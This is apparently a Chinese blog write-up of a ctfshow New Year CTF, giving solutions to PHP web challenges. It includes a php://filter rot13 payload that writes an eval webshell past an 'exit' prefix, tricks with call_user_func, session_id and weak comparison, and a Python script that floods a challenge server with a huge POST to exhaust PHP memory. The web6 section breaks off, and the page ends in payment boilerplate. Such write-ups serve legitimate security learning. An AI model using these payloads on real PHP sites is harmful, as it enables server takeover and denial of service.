ctfshow新春欢乐赛

ctfshow新春欢乐赛

热身

直接给了shell,phpinfo找flag就行,去指定目录

image-20250120134048616

web1

死亡exit绕过

<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);

参考链接

https://xiaolong22333.top/archives/114/

解法

?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php

web2

session_id是一个得到当前会话id的函数,并返回当前会话id,利用这个点

​
highlight_file(__FILE__);
session_start();
error_reporting(0);
​
include "flag.php";
​
if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>

session_id=session_id
​
PHPSESSID=HappyNewYear

web3

highlight_file(__FILE__);
error_reporting(0);
​
include "flag.php";
$key=  call_user_func(($_GET[1]));
​
if($key=="HappyNewYear"){
  echo $flag;
}
​
die("虎年大吉,新春快乐!");

弱类型比较

?1=session_start
?1=error_reporting
?1=json_last_error

web4

新函数的使用

?1=spl_autoload_extensions

默认文件后缀为incphp,这里也是利用这个函数

然后访问/.inc,.php

web5

file_put_contents(),当没有文件名时,自动创建,当文件中有内容时,会自动覆盖原有的内容。 所以为了避免被覆盖,利用: 发送超长字符致使php内存溢出,发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,从而避免后面的内容覆盖 payload:POST大量的hu

溢出脚本

import requests
url="http://ee7e1aa6-53c1-4113-bd07-7847fe95f9c3.challenge.ctf.show/"
​
payload=524280*"hu"
​
data={"🐯":payload}
r=requests.post(url,data)
print(r.text)

web6

这题确实有意思

提示

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值